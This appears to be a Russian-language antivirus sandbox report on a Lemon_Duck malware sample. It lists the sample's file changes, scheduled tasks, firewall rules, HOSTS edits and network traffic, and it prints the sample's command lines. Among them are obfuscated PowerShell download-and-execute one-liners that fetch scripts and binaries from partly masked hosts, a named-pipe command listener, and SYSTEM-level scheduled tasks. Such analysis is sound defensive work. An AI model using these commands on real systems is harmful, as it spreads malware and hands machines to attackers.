Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\1mvpgln4zaa
- <SYSTEM32>\tasks\crjbpicp\kbrajtgm8n
- <SYSTEM32>\tasks\microsoft\windows\zgpptx\mooyiqhu71
- <SYSTEM32>\tasks\isedqy
- <SYSTEM32>\tasks\0kqtsx\s7ciweyulgo
- <SYSTEM32>\tasks\microsoft\windows\uinj1idaqpr\si9crh
- <SYSTEM32>\tasks\bluetea
Вредоносные функции
Запускает на исполнение
- '<SYSTEM32>\netsh.exe' firewall add portopening tcp 65529 SDNSd
- '<SYSTEM32>\netsh.exe' firewall add portopening tcp 65533 DNSd
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name=deny445 dir=in protocol=tcp localport=445 action=block
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name=deny135 dir=in protocol=tcp localport=135 action=block
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c powershell IE`x(Ne`w-Obj`ect Net.WebC`lient)."DownLoadString"('http://t.##cna.com/mail.jsp?1*#############
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\7ufndwh1x5opdy1.sct
- %WINDIR%\temp\csc507e.tmp
- %WINDIR%\temp\sylc2ovn.pdb
- %WINDIR%\temp\sylc2ovn.out
- %WINDIR%\temp\sylc2ovn.cmdline
- %WINDIR%\temp\sylc2ovn.0.cs
- %WINDIR%\temp\acoziqpb.dll
- %WINDIR%\temp\res508f.tmp
- %WINDIR%\temp\res9cc0.tmp
- %WINDIR%\temp\acoziqpb.pdb
- %WINDIR%\temp\acoziqpb.out
- %WINDIR%\temp\acoziqpb.cmdline
- %WINDIR%\temp\acoziqpb.0.cs
- %WINDIR%\temp\m6.bin
- %WINDIR%\temp\if.bin
- %WINDIR%\temp\csc9caf.tmp
- %WINDIR%\temp\sylc2ovn.dll
Удаляет следующие файлы
- %WINDIR%\temp\res9cc0.tmp
- %WINDIR%\temp\csc9caf.tmp
- %WINDIR%\temp\acoziqpb.cmdline
- %WINDIR%\temp\acoziqpb.dll
- %WINDIR%\temp\acoziqpb.0.cs
- %WINDIR%\temp\acoziqpb.out
- %WINDIR%\temp\acoziqpb.pdb
- %WINDIR%\temp\res508f.tmp
- %WINDIR%\temp\csc507e.tmp
- %WINDIR%\temp\sylc2ovn.cmdline
- %WINDIR%\temp\sylc2ovn.out
- %WINDIR%\temp\sylc2ovn.dll
- %WINDIR%\temp\sylc2ovn.0.cs
- %WINDIR%\temp\sylc2ovn.pdb
Изменяет файл HOSTS.
Сетевая активность
TCP
Запросы HTTP GET
- http://t.##cna.com/mail.jsp?1*###########
- http://t.##cna.com/x.js
- http://t.##cna.com/x.jsp?ma######################################################################################################
- http://t.##cna.com/report.jsp?uz#################################################################################################################################################################...
- http://20#.#54.225.82/if_mail.bin?uz#############################################################################################################################################################...
- http://20#.#54.225.82/if.bin?uz###########################################################
- http://20#.#54.225.82/m6.bin?uz###########################################################
- http://kv###olxy.jp/w.js
- http://kv###olxy.jp/w.jsp?ma#####################################################################################################
- http://kv###olxy.jp/report.jsp?uz################################################################################################################################################################...
UDP
- DNS ASK t.##cna.com
- DNS ASK t.##2q.com
- DNS ASK t.##ynx.com
- DNS ASK lp##.ackng.com
- DNS ASK ga###3kyhqq.cn
- DNS ASK ep###acj8z.kr
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c powershell IE`x(Ne`w-Obj`ect Net.WebC`lient)."DownLoadString"('http://t.##cna.com/mail.jsp?1*#############' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='\1mvPgLn4ZaA';$x='t.tr2'+'q.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.Cryptography.MD5]::Create...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='cRjbpICP\kbRAjtGm8n';$x='t.awc'+'na.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.Cryptography.MD5]...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='MicroSoft\Windows\ZgpPtX\moOYIqhu71';$x='t.amy'+'nx.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.C...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='\IseDQy';$x='GahkB'+'3KYHQq.cn';[Net.Dns]::GetHostAddresses('t.tr2'+'q.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$y='http://'+#x+'/w.js...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='0kqtsX\S7cIwEYUlGO';$x='kVrNe'+'OlXy.jp';[Net.Dns]::GetHostAddresses('t.awc'+'na.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$y='http://'...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='MicroSoft\Windows\UiNJ1IDaQPR\Si9cRH';$x='ePpOQ'+'acj8Z.kr';[Net.Dns]::GetHostAddresses('t.amy'+'nx.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc...' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\acoziqpb.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RES9CC0.tmp" "%WINDIR%\Temp\CSC9CAF.tmp"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' powershell -c $pipe=new-object System.IO.Pipes.NamedPipeServerStream('\\.\pipe\HHyeuqi7');$pipe.WaitForConnection();$sr=new-object System.IO.StreamReader($pipe);$cmd=$sr.ReadToEnd();$sr.Dispose...' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\sylc2ovn.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RES508F.tmp" "%WINDIR%\Temp\CSC507E.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\y5ssvyrw.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RESA784.tmp" "%WINDIR%\Temp\CSCA764.tmp"' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' IE`x(Ne`w-Obj`ect Net.WebC`lient)."DownLoadString"('http://t.##cna.com/mail.jsp?1*#############
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 120 /tn bluetea /F /tr bluetea
- '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa2 /F
- '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa1 /F
- '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa /F
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='MicroSoft\Windows\UiNJ1IDaQPR\Si9cRH';$x='ePpOQ'+'acj8Z.kr';[Net.Dns]::GetHostAddresses('t.amy'+'nx.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc...
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\acoziqpb.cmdline"
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn MicroSoft\Windows\UiNJ1IDaQPR\Si9cRH /F /tr "powershell PS_CMD"
- '<SYSTEM32>\schtasks.exe' /run /tn MicroSoft\Windows\UiNJ1IDaQPR\Si9cRH
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RES9CC0.tmp" "%WINDIR%\Temp\CSC9CAF.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\sylc2ovn.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RES508F.tmp" "%WINDIR%\Temp\CSC507E.tmp"
- '<SYSTEM32>\cmd.exe' /c netsh.exe firewall add portopening tcp 65529 SDNSd
- '<SYSTEM32>\netsh.exe' interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53
- '<SYSTEM32>\cmd.exe' /c netsh.exe firewall add portopening tcp 65533 DNSd
- '<SYSTEM32>\netsh.exe' interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53
- '<SYSTEM32>\cmd.exe' powershell -c $pipe=new-object System.IO.Pipes.NamedPipeServerStream('\\.\pipe\HHyeuqi7');$pipe.WaitForConnection();$sr=new-object System.IO.StreamReader($pipe);$cmd=$sr.ReadToEnd();$sr.Dispose...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c $pipe=new-object System.IO.Pipes.NamedPipeServerStream('\\.\pipe\HHyeuqi7');$pipe.WaitForConnection();$sr=new-object System.IO.StreamReader($pipe);$cmd=$sr.ReadToEnd();$sr.Dispose();$pipe.Di...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='0kqtsX\S7cIwEYUlGO';$x='kVrNe'+'OlXy.jp';[Net.Dns]::GetHostAddresses('t.awc'+'na.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$y='http://'...
- '<SYSTEM32>\schtasks.exe' /run /tn 0kqtsX\S7cIwEYUlGO
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "try{$localMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalMn',[ref]$localMn)}catch{};$ifmd5='5b2849ff2e8c335dcc60fd2155b2d4d3';$ifp=$env:tmp+'\m6.bin';$down_url='http://20#.###.225...
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn \1mvPgLn4ZaA /F /tr "powershell PS_CMD"
- '<SYSTEM32>\schtasks.exe' /run /tn \1mvPgLn4ZaA
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='\1mvPgLn4ZaA';$x='t.tr2'+'q.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.Cryptography.MD5]::Create...
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn cRjbpICP\kbRAjtGm8n /F /tr "powershell PS_CMD"
- '<SYSTEM32>\schtasks.exe' /run /tn cRjbpICP\kbRAjtGm8n
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='cRjbpICP\kbRAjtGm8n';$x='t.awc'+'na.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.Cryptography.MD5]...
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn MicroSoft\Windows\ZgpPtX\moOYIqhu71 /F /tr "powershell PS_CMD"
- '<SYSTEM32>\attrib.exe' -R <DRIVERS>\etc\hosts
- '<SYSTEM32>\schtasks.exe' /run /tn MicroSoft\Windows\ZgpPtX\moOYIqhu71
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn \IseDQy /F /tr "powershell PS_CMD"
- '<SYSTEM32>\schtasks.exe' /run /tn \IseDQy
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='\IseDQy';$x='GahkB'+'3KYHQq.cn';[Net.Dns]::GetHostAddresses('t.tr2'+'q.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$y='http://'+#x+'/w.js...
- '<SYSTEM32>\cmd.exe' /c powershell -c "try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='df5c8f7677a3361d17cc1ba820436ce9';$ifp=$env:tmp+'\if.bin';$down_url='http...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='df5c8f7677a3361d17cc1ba820436ce9';$ifp=$env:tmp+'\if.bin';$down_url='http://20#.###.225...
- '<SYSTEM32>\cmd.exe' /c powershell -c "try{$localMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalMn',[ref]$localMn)}catch{};$ifmd5='5b2849ff2e8c335dcc60fd2155b2d4d3';$ifp=$env:tmp+'\m6.bin';$down_url='http...
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn 0kqtsX\S7cIwEYUlGO /F /tr "powershell PS_CMD"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='MicroSoft\Windows\ZgpPtX\moOYIqhu71';$x='t.amy'+'nx.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.C...
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\y5ssvyrw.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RESA784.tmp" "%WINDIR%\Temp\CSCA764.tmp"
